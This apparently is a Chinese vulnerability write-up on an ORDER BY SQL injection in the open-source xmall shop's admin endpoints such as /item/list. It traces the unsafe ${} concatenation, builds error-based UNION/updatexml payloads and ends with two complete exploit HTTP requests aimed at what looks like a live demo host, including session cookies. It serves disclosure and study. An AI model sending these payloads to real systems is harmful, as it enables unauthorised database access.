------作者本科毕业设计项目 基于 Spring Boot + Vue 开发而成......
[Affected Component]
-
/item/list
-
/item/listSearch
-
/sys/log
-
/order/list
-
/member/list (need time-based blind injection)
-
/member/list/remove
项目下载地址
Exrick/xmall: 基于SOA架构的分布式电商购物商城 前后端分离 前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等 (github.com)https://github.com/Exrick/xmall/tree/master
漏洞点分析
Controller层-00 注意order[0][dir] orderDir的传参
跟入getItemSearchList 方法
跟入selectItemByMultiCondition方法
注意到335行 与 336行 用${} 的方法进行sql语句进行拼接
进一步利用分析
分析如何如何才能进一步利用
首先order[0][column] 要传递一个数字 用来取数组下标,而这个变量之后还拼接到了order by 第一个条件中(${orderCol}),
odderDir 要想进行sql注入必须得考虑前面有数字,
所以这样的好号 在后面直接加入if() 或者 updatexml 进行sql注入显然是不行的 ,我们还可以考虑下union select。
简单的进行下sql oder by 注入,结果都失败了。
不过由于后端没有屏蔽掉sql报错,在进行测试的时候我们发现了底层执行sql的逻辑
既然这样的话,那么我们就不用自己那软件在去测了,
select count(0) from (SELECT * FROM tb_item WHERE (title LIKE ? OR sell_point LIKE ? OR price LIKE ? OR id LIKE ?) ORDER BY id test)
研究上面的语句,如何进入sql注入。
其中test显然是我们可控的变量,要考虑union+select 首先的用")"闭合前面"(",闭合之后,我们就可以使用
union+select ,不过在这之间遇到了一点小情况,在我本地进行测试执行如下sql语句时
SELECT COUNT(0) FROM (SELECT * FROM blade_user)
sql无法执行
上网查一下解决方式 ,发现为子查询指定别名 a
便可以解决报错问题
SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias
SELECT COUNT(0) FROM (SELECT * FROM blade_user)a
这样的话select执行完整 ,我们可以进行联合注入了
有如下的payload进行测试
SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias union select updatexml(1,concat(0x7e,user(),0x7e),1)
SELECT COUNT(0) FROM (SELECT * FROM blade_user)a union select updatexml(1,concat(0x7e,user(),0x7e),1)
ok ,现在一切准备就绪,开始sql注入了
漏洞复现
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)+AS+subquery_alias+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)a+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close